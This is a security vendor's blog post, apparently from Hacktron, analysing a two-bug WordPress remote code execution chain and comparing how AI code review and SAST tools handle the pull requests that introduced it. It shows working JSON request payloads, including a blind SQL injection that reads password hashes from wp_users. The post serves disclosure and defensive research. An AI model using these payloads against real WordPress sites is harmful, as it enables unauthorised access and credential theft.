Could Modern Code Review Have Prevented wp2shell?

Could Modern Code Review Have Prevented wp2shell?

July 19, 2026
15 min read

Around half of all websites on the Internet run on WordPress (a whopping 500M websites!), so when Searchlight Cyber managed to find a pre-authentication RCE in WordPress, it was a pretty big deal for the security community.

Any WordPress site running one of these versions is vulnerable to unauthenticated remote code execution, with no preconditions.

  • WordPress 6.9.0 through 6.9.4, fixed in 6.9.5
  • WordPress 7.0.0 through 7.0.1, fixed in 7.0.2
  • WordPress 7.1 beta, fixed in 7.1 beta2

This stemmed from a combination of two vulnerabilities: CVE-2026-63030 is a route handler confusion issue in the REST API batch endpoint, and CVE-2026-60137 is an SQL injection in WordPress core.

One has to wonder: for all the years we’ve spent “shifting left” and trying to stop vulnerabilities at their source, how far along have we actually come? To answer this question, we first need to understand how this vulnerability works, then run an experiment to see if the historical pull requests that introduced the vulnerability could have been blocked by today’s code review and SAST tools.

Understanding the Vulnerability

At its core, the vulnerability chain combines two primitives:

  1. POST /wp-json/batch/v1 bundles multiple REST API calls into a single HTTP request. The route is publicly callable and has no route-specific permission check of its own. Normally, each sub-request is matched to a route, validated and sanitized against that route’s schema, and then authorized using the matched handler’s permission_callback.

    However, a route confusion flaw causes the arrays containing the sub-requests, validation results, and matched handlers to become misaligned. Consequently, a sub-request can be validated and sanitized against one route’s schema but dispatched using a different route’s handler.

  2. WordPress core’s WP_Query sanitization logic is flawed, sanitizing only arrays when processing the author__not_in parameter. When the parameter is a string, it is not sanitized as an absint, so a subsequent SQL string interpolation can lead to a SQL injection.

Importantly, issue 2 on its own only matters if there is another primitive that allows untrusted string input to be passed to author__not_in. In isolation, it would mean that a default WordPress site is not directly exploitable (but an installed plugin or theme that provides this primitive could make it exploitable).

With issue 1, WordPress core itself supplies the primitive needed to exploit WP_Query::author__not_in, by allowing a request that bypasses validation to pass this value unsanitized.

CVE-2026-63030: Route Handler Confusion

The first issue was introduced in an attempt to fix ticket #63502 - “HTTP 500 in wp-json/batch with specific arguments”.

Ticket

where this diff was merged in pull request #8850.

Diff

In the batch endpoint implementation, serve_batch_request_v1() builds two arrays intended to be aligned with $requests[]:

  • $matches[] tracks which handler to dispatch each sub-request to
  • $validation[] tracks whether each sub-request passed validation

We can see that in an attempt to fix an issue where URL parsing of a sub-request was not properly handled, the code was modified to push a WP_Error object onto $validation[] and then execute continue, without appending a corresponding entry to $matches[].

foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
$validation[] = $single_request;
continue;
}

The bug here is that when a malformed sub-request is encountered, $requests and $validation remain aligned, while $matches becomes shorter by one entry.

Let’s use this to bypass the validation of the batch endpoint schema, which doesn’t allow GET sub-requests. For example, the following request

POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8888
Content-Type: application/json
Content-Length: 75
{
"requests": [
{ "method": "GET", "path": "/wp/v2/posts" }
]
}

will be rejected with:

{
"code": "rest_invalid_param",
"message": "Invalid parameter(s): requests",
"data": {
"status": 400,
"params": {
"requests": "requests[0][method] is not one of POST, PUT, PATCH, and DELETE."
},
"details": {
"requests": {
"code": "rest_not_in_enum",
"message": "requests[0][method] is not one of POST, PUT, PATCH, and DELETE.",
"data": null
}
}
}
}

But one can use a neat trick to get around this. By making use of the off-by-one desync between $requests and $matches, we can make the batch endpoint call itself again, this time with a GET sub-request in the body.

{
"requests": [
{ "method": "POST", "path": "http://" },
{
"method": "POST",
"path": "/wp/v2/posts",
"body": {
"requests": [
{ "method": "POST", "path": "/wp/v2/posts" },
{ "method": "GET", "path": "/wp/v2/posts" }
]
}
},
{ "method": "POST", "path": "/batch/v1" }
]
}

The 3 subrequests are parsed and validated in order:

  1. POST http://wp_parse_url() fails. $validation = [ error ], $matches = []
  2. POST /wp/v2/postswp_parse_url() succeeds. $validation = [ error, OK ], $matches = [ posts_handler ]
  3. POST /batch/v1wp_parse_url() succeeds. $validation = [ error, OK, OK ], $matches = [ posts_handler, batch_handler ]

So the body of request 2 is validated and sanitized against the posts route’s schema, but dispatched using the batch route’s handler. Since the posts route’s schema doesn’t contain requests, the requests array is not validated.

Therefore, the requests array is passed unvalidated to the batch route’s handler, which will now process the nested subrequests and execute the GET request.

{
"responses": [
{
"body": {
"code": "parse_path_failed",
"message": "Could not parse the path.",
"data": { "status": 400 }
},
"status": 400,
"headers": []
},
{
"body": {
"responses": [
...
{
"body": [
{
"id": 1,
...
"slug": "hello-world",
"status": "publish",
"type": "post",
"link": "http:\/\/localhost:8888\/?p=1",
"title": { "rendered": "Hello world!" },
"content": {
"rendered": "\n<p>Welcome to WordPress. This is your first post. Edit or delete it, then start writing!<\/p>\n",
"protected": false
},
...
}
],
"status": 200,
"headers": { "X-WP-Total": 1, "X-WP-TotalPages": 1, "Allow": "GET" }
}
]
},
"status": 207,
"headers": { "Allow": "POST" }
},
{
"body": {
"code": "rest_batch_not_allowed",
"message": "The requested route does not support batch requests.",
"data": { "status": 400 }
},
"status": 400,
"headers": []
}
]
}

CVE-2026-60137: SQL Injection via WP_Query

The second issue was introduced in an attempt to fix ticket #59516 - “Improve cache key generation in the WP_Query class”.

Ticket

Here, we can see that the pull request aimed to sort query variables when they are arrays, so that the same arguments produce the same cache key.

Diff

However, in doing so, it no longer sanitizes the author__not_in parameter as an absint when it is not an array.

The sanitization now only happens in the is_array($q['author__not_in']) branch, while a string value is effectively passed through unchanged.

if ( ! empty( $q['author__not_in'] ) ) {
$author__not_in = implode( ',', array_map( 'absint', array_unique( (array) $q['author__not_in'] ) ) );
if ( is_array( $q['author__not_in'] ) ) {
$q['author__not_in'] = array_unique( array_map( 'absint', $q['author__not_in'] ) );
sort( $q['author__not_in'] );
}
$author__not_in = implode( ',', (array) $q['author__not_in'] );

Combined with the above primitive, we can now make a GET request to /wp/v2/posts including the author_exclude query parameter. Since the request containing the author_exclude query parameter is validated against the categories route’s schema, which doesn’t contain author_exclude, the value is passed through unchanged to the posts route’s handler.

{
"requests": [
{ "method": "POST", "path": "http://" },
{
"method": "POST",
"path": "/wp/v2/posts",
"body": {
"validation": "normal",
"requests": [
{ "method": "POST", "path": "http://" },
{
"method": "POST",
"path": "/wp/v2/categories?author_exclude=0)%20AND%20(ASCII(SUBSTRING((SELECT%20user_pass%20FROM%20wp_users%20LIMIT%201)%2c1%2c1))%20%3e%2080)--%20-",
"body": { "name": "x", "orderby": false }
},
{ "method": "GET", "path": "/wp/v2/posts" }
]
}
},
{ "method": "POST", "path": "/batch/v1" }
]
}
Note

At the time of writing, the full RCE exploit is not publicly available. The Hacktron team has reproduced the RCE, but we are holding off on releasing the PoC until the RCE chain is widely known and actively exploited in the wild.

Does Hacktron catch the vulnerability?

To reproduce the PRs that introduced the vulnerability, I recreated both PRs using the exact commits, title, and description.

Route Handler Confusion

After creating a PR with the original vulnerable commit, I got Hacktron to review the PR.

PR

Hacktron correctly identified the index misalignment issue, highlighting the exact lines of code that introduced the vulnerability.

Hacktron Comment

While the finding was mostly correct, the impact was slightly misstated:

Because of the index shift, a request is processed using the handler (including its permission_callback and execution callback) of a subsequent request in the batch, leading to a complete bypass of authorization controls and unauthorized action execution.

It is true that a request is processed using the permission and execution callbacks of a subsequent request in the batch, but to be precise, it is the schema validation that is bypassed, not the permission (authorization) controls.

Nonetheless, it is clear that Hacktron was able to articulate the likely security impact of this bug, namely that an attacker can likely craft a request that reaches a different and potentially sensitive route than the one it was intended & validated against.

PoC

SQL Injection via WP_Query

We can run a similar experiment here.

PR

Hacktron correctly identified the vulnerability, and explained how it came about.

Hacktron Comment

In this case, it also identified the necessary preconditions for the vulnerability to be exploited, such as a plugin or theme that provides a way to pass untrusted string input to WP_Query::author__not_in.

PoC

How do generic code review tools fare?

Now that I knew that Hacktron was able to catch both issues, the next question I had was: could these security issues have been caught by generic code review tools?

This has interesting implications because if generic code review tools catch the same issue, but miss the security impact, then it is very possible that if faced with the same choice today, developers would view the trade-offs of fixing the issue very differently and still make the same mistake. After all, a general code quality improvement is less likely to be prioritized over a real security issue.

Setup

For this experiment, I needed to bring out the Avengers of code review tools.

Code Review Tools

The same PRs were tested on the following tools:

  • Cursor Bugbot
  • Devin Review
  • Greptile
  • CodeRabbit
  • Codex Review
  • Claude Code Review (GitHub App)

For each of these tools, I used the default configuration, and the only configuration changes I made were to enable reviews for the target branch of the PR, as it was not a default branch.

Results

The route handler confusion results need careful interpretation. Cursor, Devin, Codex, Greptile, and Claude all noticed that the change could turn an otherwise valid request into a 500 response / return the wrong response / produce an uncaught exception, but none of them identified or emphasized a security implication (see all comments below).

The results changed for the SQL injection pull request: Codex, Devin, CodeRabbit, and Claude identified the SQL injection. Greptile did not, describing the pull request as “safe to merge with minor clean-up.” (see all comments below).

Code review toolRoute handler confusionSQL injection
Hacktron
Cursor Bugbot
Devin Review
Greptile
CodeRabbit
Codex Review
Claude Code Review

A green tick means the security issue was identified. An amber tick means the underlying bug was found without a security implication. A red cross means the issue was not found. A gray dash means the tool was not supported.

How do SAST tools fare?

Setup

You may have noticed that in my Avengers lineup, I also included a few SAST tools. These are rule-based static analysis tools that are designed to catch security issues in pull requests.

  • Snyk Code
  • Aikido SAST
  • Semgrep Code
  • GitHub Advanced Security (CodeQL)

Again, I used the default configuration for each tool.

Results

None of the three supported SAST tools caught either issue. CodeQL does not support PHP, so there was no way to test GitHub Advanced Security.

SAST toolRoute handler confusionSQL injection
Snyk Code
Aikido SAST
Semgrep Code
GitHub Advanced Security (CodeQL)

A green tick means the security issue was identified. An amber tick means the underlying bug was found without a security implication. A red cross means the issue was not found. A gray dash means the tool was not supported.

Combined Results

The distinction between finding a bug and finding a vulnerability showed up most in the route handler confusion results. While most code review tools noticed the discrepancy, they did not connect it to a security implication.

ToolTypeRoute handler confusionSQL injection
HacktronSecurity review
Cursor BugbotCode review
Devin ReviewCode review
GreptileCode review
CodeRabbitCode review
Codex ReviewCode review
Claude Code ReviewCode review
Snyk CodeSAST
Aikido SASTSAST
Semgrep CodeSAST
GitHub Advanced Security (CodeQL)SAST

A green tick means the security issue was identified. An amber tick means the underlying bug was found without a security implication. A red cross means the issue was not found. A gray dash means the tool was not supported.

Conclusion

General Code Review vs. Security Review

These results do not suggest replacing general code review with security review, or vice versa. They show why there is space for both in the software development process.

The general code review tools did useful work on the route handler confusion pull request. Most of them correctly identified that the change did not fully fix the 500-error issue it set out to solve: a valid request could still return the wrong response, produce an uncaught exception, or fail with a 500. That is exactly the kind of functional correctness problem a general code reviewer should catch. The SQL injection results also show that there is overlap, with most of the general review tools recognizing the vulnerability directly.

What the general review comments did not explain was why the route handler bug crossed a security boundary. The two types of review therefore answer different questions. General code review asks whether the change works as intended and whether it introduces regressions. Security review asks how an attacker could use the change, which trust boundary it breaks, and what the impact would be.

What about SAST?

The final question here is: why didn’t the SAST tools catch these issues, and is that necessarily a bad thing?

Note

For what it’s worth, when I say SAST, I mean rule-based static analysis tools like the ones I used above. If we are being pedantic, SAST simply stands for Static Application Security Testing, which doesn’t imply that the tools are rule-based. In fact, you can call Hacktron Review a SAST tool, because unlike Hacktron Whitebox, it does not perform dynamic testing against a live environment yet.

In general, there are tradeoffs between rule-based systems and AI-based systems like Hacktron. Rule-based systems are deterministic and predictable, but they are also less flexible and more prone to false positives. On the other hand, AI-based systems will have some level of nondeterminism and may be slower or more expensive.

While most of these rule-based scans completed in under 30 seconds, Hacktron Review typically takes 1-2 minutes to complete on average. Additionally, these deterministic systems can be useful when a security engineer wants to look for a very specific pattern in the AST.

Where Hacktron Review shines is in its ability to reason about the code, understand the intent of the developer, and evolve its threat model over time. This particular vulnerability is quite subtle in nature, and I would endeavor to say that catching it with SAST is not the point. The point of SAST is to detect known patterns at scale with predictable cost and high customization.

The point of Hacktron is to catch the subtle vulnerabilities that rule-based SAST often misses, and to do so with a level of confidence that is backed up by codebase context. It is for developers working on security-critical code who need to find these edge cases with every PR instead of between periodic pentests, or care more about higher-level semantic, logical issues than low-hanging syntactic issues.

If that’s you, we have a 14-day free trial.

Appendix: Route Handler Confusion Results

Cursor Bugbot

Cursor Bugbot route handler confusion review

Devin Review

Devin route handler confusion review

Greptile

Greptile route handler confusion review

Codex Review

Codex route handler confusion review

Claude Code Review

Claude route handler confusion review

Appendix: SQL Injection Results

Devin Review

Devin SQL injection review

Greptile

Greptile SQL injection review

CodeRabbit

CodeRabbit SQL injection review

Codex Review

Codex SQL injection review

Claude Code Review

Claude SQL injection review

Hacktron reviews your code and finds real vulnerabilities before they ship to production.